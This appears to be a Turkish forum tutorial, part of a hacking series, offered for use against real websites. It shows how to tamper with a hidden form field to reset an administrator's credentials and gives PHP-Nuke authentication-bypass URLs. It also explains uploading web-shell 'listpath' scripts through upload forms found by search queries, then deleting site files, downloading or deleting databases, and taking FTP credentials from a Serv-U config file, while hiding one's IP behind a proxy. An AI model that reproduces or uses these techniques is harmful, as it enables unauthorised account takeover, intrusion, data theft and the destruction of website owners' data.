Bu formda, action=".." kısmında belirtilen dosya form bilgilerini güncelleyecek olan dosyadır. <input type="hidden" yazan yerdeki kullanıcı adımız, type="submit" değerinde belirttiğimiz "Bilgilerimi Güncelle" düğmesine basıldığında actionda belirttiğimiz guncelle.asp dosyası tarafından değiştirilecek. type="text satırı ekrana bir kutucuk çıkartır ve bu örnekte bizden oraya yeni kullanıcı adımızın girilmesi isteniyor. type="Password" de ise yine ekrana bir kutucuk çıkar ve bunun içine yazılan herşey **** şeklinde görünür, şifredir çünkü. Şimdi, tekrarlayalım; örnekteki hiddenda üzerinde oynama yapılacak kullanıcı adı, textte yeni kullanıcı adı, ve passwordde de değiştirilebilir şifre yazıyor...
O zaman, biz hidden="..." bölümüne "administrator"ın sitede kullandığı nickini yazarsak, ne olur???
Adminin ismini, cismini, mail adresini, en önemlisi de kullanıcı adı ve de şifresini değiştirebiliriz!..
Kaynağı Görüntüle dediğimiz sayfanın kodlarını kopyala/yapıştırla not defterine atalım ve ilk önce action=".." daki kısmın başına -eğer yoksa-http://www.hedeftekisite.com/varsa_alt_klasör/ u ekleyelim, sonra type="hidden" name="xxx" value="xxx" yazan yere type="hidden" name="xxx" value="adminin_nicki" yazalım, veya type="hidden"ı type="text" şeklinde değiştirip, dosyayı .htm formatında kaydedelim. Eğer ikinci dediğimi yaparsanız, .htm uzantılı dosyayı çalıştırdığımızda karşımıza eski nickimizin olduğu bir kutucuk daha çıkacak, oradaki yazıyı silip adminin nickini yazmak yoluyla da bu işi hâlledebiliriz. Örneğin, oynama yaptığımızda kod şöyle olacak:
<form action="http://www.hedeftekisite.com/guncelle.asp" method="post">
<input type="hidden" name="islenecekkullaniciadi" value="Sitenin_Admininin_kullandigi_nick"> (Veya <input type="text" name="islenecekkullaniciadi" value="adminin_nickini_buraya_yaz"> )
<input type="text" name="yenikullaniciadi" value="adminin_nicki_ne_olacaksa_onu_yazın">
<input type="password" name="yenisifre" value="adminin_sifresi_ne_olacaksa_onu_yazin">
....
<input type="submit" value="Bilgilerimi Güncelle"></form>
Bilgileri, yukarıda belirttiğim şekilde değiştireceksiniz. Bu arada benim örnekte .... ile gösterdiğim yerde çeşitli kutucuklar daha olması lâzım, meselâ mail adresi, web sitesi gibi. Buraları da kendinize göre uyarlamalısınız. Tüm bunları yaptıktan sonra kaydettiğimiz ve üzerinde oynamalar yaptığımız .htm dosyasını çalıştırın, ilgili bilgileri girdikten sonra "bilgilerimi güncelle" düğmesine basın ve admin nick ve şifresini değiştirmiş olun! Geriye kalan, sadece bu değiştirdiğiniz kullanıcı adı ve şifreyle sitenin üye giriş formunu süslemek ve "gönder"e basmak...
Bu yöntemin çalışmama ihtimali var, bunun iki sebebi olabilir; birincisi bu üç-kâğıdın önlemi alınmıştır, ikincisi ise bir yanlışlık yaptınız, sitenin klasör düzeni uygunsuz veya formda ufak bir farklılık var. Bu ikinci nedeni HTML bilen arkadaşlar kolaylıkla atlatabilirler. Ben sadece örnek verdiğim için burada uzatmayacağım. Zaten anlamış olmanız lâzım...
Bir PHP-Nuke Açığı: PHP-Nuke eski versiyonlarında işleyen bir açık:
www.hedef.com/modules.php?name=Your_Account&op=userinfo&bypass=o r%20true&username=kullaniciadi
Bunu adres barınıza yazacaksınız ve sondaki kullaniciadi yerine Administratorın sitede kullandığı nicki yazacaksınız. Belki tutar, eski PHP-Nuke sürümlerinde...
Bir PHP-Nuke açığı daha: www.hedef.com/modules/forums/admin/index.php
Nadiren de olsa sizi şifresiz olarak admin paneline sokabilir. Sonrası malum...
Açıklarla hackingin temel mantığını anlamanız için bu kadar örnek yeterli. Birincisi açığını kullanacağınız dillerle ilgili iyi bir bilgi sahibi olmalısınız, ikincisi bildiklerinizi küçümsemeden -lamerlik-mamerlik demeden- yaratıcılığınızı kullanacaksınız ve üçüncüsü ise en yeni açıkları takip edeceksiniz. Bu tip açıkları, meselâ Cyber-security.org, olympos.org, * Yasak Kelime Kullandınız *.org, securityfocus.com gibi "Ben güvenlik portalıyım" diyen yerlerden öğrenebilirsiniz, çünkü bu siteler "bakın... böyle böyle bir açık var, bunu kapatmazsanız şöyle-böyle olur, o yüzden şu açığı şu şekilde kapatın" derken, aynı zamanda açığında ne olduğunu dile getirdiklerinden, çok faydalı olabilirler)...
Bir başka hack yöntemi ise Listpath kullanmaktır. Bunlar, serverdaki klasör ve dosyaları görmemizi, onlar arasında dolaşmamızı ve onlar üzerinde bazı işlemler yapmamızı sağlayan ASP veya PHP dosyalarıdır. Bu dosyaları sitenin hostingine bir şekilde sızdırırız. Eğer hosting bilgisayarında, yani serverda FileSystemObject açığı varsa (tabii ki windows sistemlerde bu açık olabilir, linuxta başka isimler alır bu açık), dosya silebilir, içeriklerini değiştirebilirsiniz.
Önce bu listpathlerden birini bir bilgisayarın hostuna yutturuyoruz. Bunun bazı yöntemleri var. İşte birkaçı:
* Brinkster, Websamba vs. gibi ASP desteği veren Web Sitelerinden kendimize bir hesap, yani bir beleş web sitesi açıyoruz. Sonra bir listpath upload ediyoruz ve browserın adres kısmına yolunu yazıp çalıştırıyoruz.
* Bazı sitelerde upload özelliği vardır. googleda inurl:upload filetype:asp gibi çeşitli aramalarla ASP dosyalarını uploada izin veren yerlere listpathin adını değiştirerek upload edebiliriz (örneğin test.asp gibi. Dikkat çekmemesi için...) Upload ettikten sonra dosyanın yolunu yazar ve çalıştırırız *Yasak Kelime*i, veya diğer listpath progr*****larını...
* Hedefteki sitenin host firmasından deneme hostu alırız. Bazen gerek bile olmayabilir; zira FTP Kullanıcı adı: deneme şifre: deneme şeklinde hazır bir deneme hostu olabilir serverın bünyesinde. Neyse... Siteye whois çekildiğinde, genelde en altta yazan ns1.xxx.com , ns2.xxx.com şeklindeki yerler hosting şirketinin sitesini verir. Buradan 1 aylık deneme hostu alır ve listPathi yüklersiniz, sonra da paşa paşa çalıştırıp hostta cirit atarsınız. Ya da para verip bir host alırsınız. (ASP destekli olmak zorunda)
Bu gibi yöntemlerle listpathi upload ettikten sonra, yolunu yazarak çalıştırabiliriz. Kullanımları aslında listpathten listpathe değişir ama genelde klasörler arasında dolaşabilmek için linkler bulunur, sürücülere ulaşmak için düğmeler bulunur ve dosyaları silip değiştirmek, (hatta *Yasak Kelime*li şekerde download etmek) için linkler bulunabilir, bunları artık siz listpathten öğrenebilirsiniz. Şöyle bir göz gezdirerek, neyin ne olduğunu anlarsınız zaten.
Şimdi de birkaç bilgi vereyim yine bu konuyla ilgili. Eğer bir yere ASP listpathi yüklerseniz inetpub klasörüne ve oradan da wwwroot klasörüne gitmelisiniz. Genellikle burada tutulur sitelerin dosyaları... Eğer burada yoksa diğer dizinleri de deneyebilirsiniz. Ama elinizi mümkün olduğunca çabuk tutun ve mümkünse Proxy kullanarak IPnizi gizleyin, her ihtimale karşı...
Hacklemeyi plânladığınız bir sitenin dosyalarını silmeyi ve kendi dosyanızı upload etmeyi deneyin. Eğer olmazsa, o serverda FileSystemObject açığı yok demektir. O zaman size düşen, MDB dosyalarını bulmak. Bazı Listpathlerde (meselâ *Yasak Kelime*liŞekerde), dosya arama kutuları bulunur. Buralara mdb yazın ve çıkan dosyaları indirin. Eğer böyle bir şey yoksa sitenin klasörlerini karıştırmalısınız... Eski konularda MDBlerle ne yapabileceğinizi anlatmıştım, isterseniz 1. ve 2. bölüme geri dönüp hatırlayabilirsiniz... Şunu da söyleyeyim, MDBleri ille de download etmek zorunda değilsiniz, MDB dosyalarını silerseniz siteyi çalışmaz hâle getirrirsiniz. Bozarsınız yani...
Bunun dışında, crogram filesserv-userv-u.ini dosyasını da download edip FTP kullanıcı adı ve şifrelerine de ulaşabiliriz. Bu da aklınızda bulunsun...
Aslında en iyi ve zevkli hack yöntemi bu tip listpath programlarını kullanmaktır bence.
ASP için *Yasak Kelime*li Şeker gibi Listpathleri kullanabilirsiniz -ki en iyi ASP listpathtir diyebilirim-. Bunun dışında PHP destekleyen serverlar için yapılmış listpathlerde var. Burada link veremiyorum, yönetimden izin almaya vaktim olmadı, ama en azından isim vereyim, remView isimli bir PHP listpath var...
Evet arkadaşlar, herkesin yapabileceği, bir konu üzerinde uzmanlık ve fazlaca bilgi gerektirmeyen hacking yöntemleri kısaca bunlar. Bunlardan sonrası ise, üzerine ap-ayrı, başlı başına dökümanlar yazılabilecek uzun ve yeniler için anlaşılması zor konular. Ve bunun dışında, daha fazla ilerlemek için en azından JavaScript, ASP, PHP, CGI, PERL, C Dili, Unix/Linux, SQL, .... gibi konularda en azından temel bilginiz olması gerekiyor ki, tam anlamıyla kendinize "hacker" diyebilin. HTML zaten bilmek zorundasınız. Yoksa anlatılan bir çok şeyi anlayamamanız kuvvetle muhtemel.
Bu dökümanda size herkezin uygulayabileceği başlıca hacking yöntemlerini anlatmaya çalıştım ve mantığı kavratmak için bu kadar şey yazdım. Bundan sonrası sizin öğrendiklerinizi misyonumuz dahilinde -kesinlikle küçümsemeden- pratiğe dökmenize ve yukarıda saydığım konular hakkında bilgi toplamaya başlamanıza kalmış. Tekrar söylüyorum; öğrendiklerinizi pratiğe dökmek için çalışmanız çok önemli. ** bu konuda size önemli bir kaynaklık teşkil edecektir. Anlamadıklarınızı sormanız hâlinde size yardım edecek çok fazla insan var burada. Kıymetini bilin **'nun... Bu yöntemlerle de çok şeyler yapabilirsiniz aslına bakarsanız. Ama bilgisayar ve hacking konusunda ilerlemek isteyenlerin yukarıda saydığım konuların yanısıra programlama ile ilgili bilgi sahibi olması lazım.